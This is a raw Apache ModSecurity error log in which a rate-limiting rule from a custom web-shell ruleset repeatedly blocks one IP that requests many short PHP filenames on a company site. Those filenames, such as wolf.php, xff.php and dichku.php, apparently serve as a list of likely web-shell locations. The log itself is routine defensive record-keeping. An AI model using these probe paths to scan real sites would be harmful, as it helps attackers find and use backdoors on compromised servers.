[Sun Apr 05 23:27:06.287966 2026] [:error] [pid 45409:tid 45427] [client 68.221.134.12:46317] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wo.php"] [unique_id "adJ_StHt_Oyw03gjCNh5MwAAANA"]
[Sun Apr 05 23:27:06.948901 2026] [:error] [pid 45305:tid 45377] [client 68.221.134.12:63317] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wo.php"] [unique_id "adJ_SujDQjr7aWhjflCRDQAAAIY"]
[Sun Apr 05 23:27:07.484922 2026] [:error] [pid 45303:tid 45334] [client 68.221.134.12:40824] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wo.php"] [unique_id "adJ_S7boQ9eViZ4hdnmPxgAAABE"]
[Sun Apr 05 23:27:07.978902 2026] [:error] [pid 30921:tid 30930] [client 68.221.134.12:46271] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wo.php"] [unique_id "adJ_S2FGQVn8Q0ueB25bWwAAAQc"]
[Sun Apr 05 23:27:08.469936 2026] [:error] [pid 45303:tid 45325] [client 68.221.134.12:46252] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "adJ_TLboQ9eViZ4hdnmPzgAAAAg"]
[Sun Apr 05 23:27:09.085437 2026] [:error] [pid 45305:tid 45394] [client 68.221.134.12:38235] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "adJ_TejDQjr7aWhjflCRFAAAAJc"]
[Sun Apr 05 23:27:09.808276 2026] [:error] [pid 45303:tid 45334] [client 68.221.134.12:29334] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "adJ_TbboQ9eViZ4hdnmP0AAAABE"]
[Sun Apr 05 23:27:10.400855 2026] [:error] [pid 45303:tid 45332] [client 68.221.134.12:28976] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "adJ_TrboQ9eViZ4hdnmP0wAAAA8"]
[Sun Apr 05 23:27:11.048903 2026] [:error] [pid 45304:tid 45365] [client 68.221.134.12:4989] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/floya.php"] [unique_id "adJ_Tw5jnqDKKovdRklGmAAAAFU"]
[Sun Apr 05 23:27:11.735081 2026] [:error] [pid 45303:tid 45323] [client 68.221.134.12:38262] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/floya.php"] [unique_id "adJ_T7boQ9eViZ4hdnmP2QAAAAY"]
[Sun Apr 05 23:27:12.251221 2026] [:error] [pid 45304:tid 45359] [client 68.221.134.12:41278] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/floya.php"] [unique_id "adJ_UA5jnqDKKovdRklGmQAAAE8"]
[Sun Apr 05 23:27:12.746115 2026] [:error] [pid 45304:tid 45349] [client 68.221.134.12:26261] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/floya.php"] [unique_id "adJ_UA5jnqDKKovdRklGnAAAAEU"]
[Sun Apr 05 23:27:13.226739 2026] [:error] [pid 45303:tid 45327] [client 68.221.134.12:50024] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wolf.php"] [unique_id "adJ_UbboQ9eViZ4hdnmP4QAAAAo"]
[Sun Apr 05 23:27:13.847177 2026] [:error] [pid 45409:tid 45424] [client 68.221.134.12:4928] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wolf.php"] [unique_id "adJ_UdHt_Oyw03gjCNh5OQAAAM0"]
[Sun Apr 05 23:27:14.350393 2026] [:error] [pid 45409:tid 45433] [client 68.221.134.12:49994] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wolf.php"] [unique_id "adJ_UtHt_Oyw03gjCNh5OwAAANY"]
[Sun Apr 05 23:27:14.857165 2026] [:error] [pid 45409:tid 45420] [client 68.221.134.12:28950] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wolf.php"] [unique_id "adJ_UtHt_Oyw03gjCNh5QgAAAMk"]
[Sun Apr 05 23:27:15.334957 2026] [:error] [pid 45304:tid 45353] [client 68.221.134.12:63348] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/only.php"] [unique_id "adJ_Uw5jnqDKKovdRklGnQAAAEk"]
[Sun Apr 05 23:27:15.841672 2026] [:error] [pid 45409:tid 45431] [client 68.221.134.12:49997] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/only.php"] [unique_id "adJ_U9Ht_Oyw03gjCNh5RQAAANQ"]
[Sun Apr 05 23:27:16.333345 2026] [:error] [pid 45304:tid 45357] [client 68.221.134.12:31476] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/only.php"] [unique_id "adJ_VA5jnqDKKovdRklGnwAAAE0"]
[Sun Apr 05 23:27:16.830823 2026] [:error] [pid 30921:tid 30930] [client 68.221.134.12:28962] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/only.php"] [unique_id "adJ_VGFGQVn8Q0ueB25bfQAAAQc"]
[Sun Apr 05 23:27:17.333026 2026] [:error] [pid 45305:tid 45374] [client 68.221.134.12:46230] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vdb.php"] [unique_id "adJ_VejDQjr7aWhjflCRIgAAAIM"]
[Sun Apr 05 23:27:17.829116 2026] [:error] [pid 45303:tid 45325] [client 68.221.134.12:46910] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vdb.php"] [unique_id "adJ_VbboQ9eViZ4hdnmP7gAAAAg"]
[Sun Apr 05 23:27:18.326510 2026] [:error] [pid 45305:tid 45390] [client 68.221.134.12:4178] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vdb.php"] [unique_id "adJ_VujDQjr7aWhjflCRJAAAAJM"]
[Sun Apr 05 23:27:18.824959 2026] [:error] [pid 30921:tid 30935] [client 68.221.134.12:26272] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vdb.php"] [unique_id "adJ_VmFGQVn8Q0ueB25bfwAAAQw"]
[Sun Apr 05 23:27:19.570381 2026] [:error] [pid 45303:tid 45324] [client 68.221.134.12:4211] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/om.php"] [unique_id "adJ_V7boQ9eViZ4hdnmP9AAAAAc"]
[Sun Apr 05 23:27:20.174555 2026] [:error] [pid 45304:tid 45363] [client 68.221.134.12:40772] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/om.php"] [unique_id "adJ_WA5jnqDKKovdRklGqAAAAFM"]
[Sun Apr 05 23:27:20.732634 2026] [:error] [pid 30921:tid 30941] [client 68.221.134.12:31443] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/om.php"] [unique_id "adJ_WGFGQVn8Q0ueB25biAAAARI"]
[Sun Apr 05 23:27:21.227042 2026] [:error] [pid 45303:tid 45321] [client 68.221.134.12:41226] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/om.php"] [unique_id "adJ_WbboQ9eViZ4hdnmP-gAAAAQ"]
[Sun Apr 05 23:27:21.863528 2026] [:error] [pid 30921:tid 30932] [client 68.221.134.12:29315] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ox.php"] [unique_id "adJ_WWFGQVn8Q0ueB25biwAAAQk"]
[Sun Apr 05 23:27:22.657317 2026] [:error] [pid 45303:tid 45339] [client 68.221.134.12:38253] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ox.php"] [unique_id "adJ_WrboQ9eViZ4hdnmQAQAAABY"]
[Sun Apr 05 23:27:23.228813 2026] [:error] [pid 45409:tid 45414] [client 68.221.134.12:28957] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ox.php"] [unique_id "adJ_W9Ht_Oyw03gjCNh5UAAAAMM"]
[Sun Apr 05 23:27:23.744789 2026] [:error] [pid 45305:tid 45394] [client 68.221.134.12:50499] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ox.php"] [unique_id "adJ_W-jDQjr7aWhjflCRJgAAAJc"]
[Sun Apr 05 23:27:24.286601 2026] [:error] [pid 30921:tid 30937] [client 68.221.134.12:46894] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/htto.php"] [unique_id "adJ_XGFGQVn8Q0ueB25blgAAAQ4"]
[Sun Apr 05 23:27:24.886817 2026] [:error] [pid 45305:tid 45382] [client 68.221.134.12:4195] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/htto.php"] [unique_id "adJ_XOjDQjr7aWhjflCRKQAAAIs"]
[Sun Apr 05 23:27:25.750303 2026] [:error] [pid 45305:tid 45393] [client 68.221.134.12:4216] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/htto.php"] [unique_id "adJ_XejDQjr7aWhjflCRLQAAAJY"]
[Sun Apr 05 23:27:26.306870 2026] [:error] [pid 45303:tid 45341] [client 68.221.134.12:28980] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/htto.php"] [unique_id "adJ_XrboQ9eViZ4hdnmQCQAAABg"]
[Sun Apr 05 23:27:26.810853 2026] [:error] [pid 30921:tid 30934] [client 68.221.134.12:4941] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/h2h.php"] [unique_id "adJ_XmFGQVn8Q0ueB25bnAAAAQs"]
[Sun Apr 05 23:27:27.299293 2026] [:error] [pid 45409:tid 45435] [client 68.221.134.12:41961] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/h2h.php"] [unique_id "adJ_X9Ht_Oyw03gjCNh5VwAAANg"]
[Sun Apr 05 23:27:27.835503 2026] [:error] [pid 45409:tid 45432] [client 68.221.134.12:46886] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/h2h.php"] [unique_id "adJ_X9Ht_Oyw03gjCNh5WwAAANU"]
[Sun Apr 05 23:27:28.316369 2026] [:error] [pid 45303:tid 45340] [client 68.221.134.12:4166] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/h2h.php"] [unique_id "adJ_YLboQ9eViZ4hdnmQDQAAABc"]
[Sun Apr 05 23:27:28.808546 2026] [:error] [pid 30921:tid 30933] [client 68.221.134.12:20282] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xff.php"] [unique_id "adJ_YGFGQVn8Q0ueB25bpgAAAQo"]
[Sun Apr 05 23:27:29.326232 2026] [:error] [pid 45303:tid 45329] [client 68.221.134.12:4641] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xff.php"] [unique_id "adJ_YbboQ9eViZ4hdnmQEQAAAAw"]
[Sun Apr 05 23:27:29.825918 2026] [:error] [pid 45303:tid 45324] [client 68.221.134.12:41926] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xff.php"] [unique_id "adJ_YbboQ9eViZ4hdnmQFAAAAAc"]
[Sun Apr 05 23:27:30.312044 2026] [:error] [pid 45409:tid 45418] [client 68.221.134.12:45391] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xff.php"] [unique_id "adJ_YtHt_Oyw03gjCNh5YwAAAMc"]
[Sun Apr 05 23:27:30.842121 2026] [:error] [pid 45303:tid 45338] [client 68.221.134.12:45426] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dichku.php"] [unique_id "adJ_YrboQ9eViZ4hdnmQGAAAABU"]
[Sun Apr 05 23:27:31.436640 2026] [:error] [pid 45304:tid 45368] [client 68.221.134.12:4623] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dichku.php"] [unique_id "adJ_Yw5jnqDKKovdRklGuwAAAFg"]
[Sun Apr 05 23:27:32.011052 2026] [:error] [pid 45305:tid 45382] [client 68.221.134.12:31425] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dichku.php"] [unique_id "adJ_ZOjDQjr7aWhjflCRNgAAAIs"]
[Sun Apr 05 23:27:32.627651 2026] [:error] [pid 30921:tid 30933] [client 68.221.134.12:41950] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dichku.php"] [unique_id "adJ_ZGFGQVn8Q0ueB25bsAAAAQo"]
[Sun Apr 05 23:27:33.174079 2026] [:error] [pid 45304:tid 45354] [client 68.221.134.12:4656] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lupo.php"] [unique_id "adJ_ZQ5jnqDKKovdRklGvwAAAEo"]
[Sun Apr 05 23:27:33.798731 2026] [:error] [pid 45303:tid 45339] [client 68.221.134.12:51797] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lupo.php"] [unique_id "adJ_ZbboQ9eViZ4hdnmQIQAAABY"]
[Sun Apr 05 23:27:34.331525 2026] [:error] [pid 45304:tid 45345] [client 68.221.134.12:51778] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lupo.php"] [unique_id "adJ_Zg5jnqDKKovdRklGwgAAAEE"]
[Sun Apr 05 23:27:34.912583 2026] [:error] [pid 45303:tid 45330] [client 68.221.134.12:57156] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lupo.php"] [unique_id "adJ_ZrboQ9eViZ4hdnmQJwAAAA0"]
[Sun Apr 05 23:27:35.515940 2026] [:error] [pid 45304:tid 45355] [client 68.221.134.12:45425] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/store.php"] [unique_id "adJ_Zw5jnqDKKovdRklGwwAAAEs"]
[Sun Apr 05 23:27:36.424913 2026] [:error] [pid 45304:tid 45365] [client 68.221.134.12:44471] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/store.php"] [unique_id "adJ_aA5jnqDKKovdRklGxwAAAFU"]
[Sun Apr 05 23:27:37.002810 2026] [:error] [pid 45409:tid 45427] [client 68.221.134.12:44469] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/store.php"] [unique_id "adJ_adHt_Oyw03gjCNh5dwAAANA"]
[Sun Apr 05 23:27:38.341492 2026] [:error] [pid 45409:tid 45417] [client 68.221.134.12:22539] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/store.php"] [unique_id "adJ_atHt_Oyw03gjCNh5fQAAAMY"]
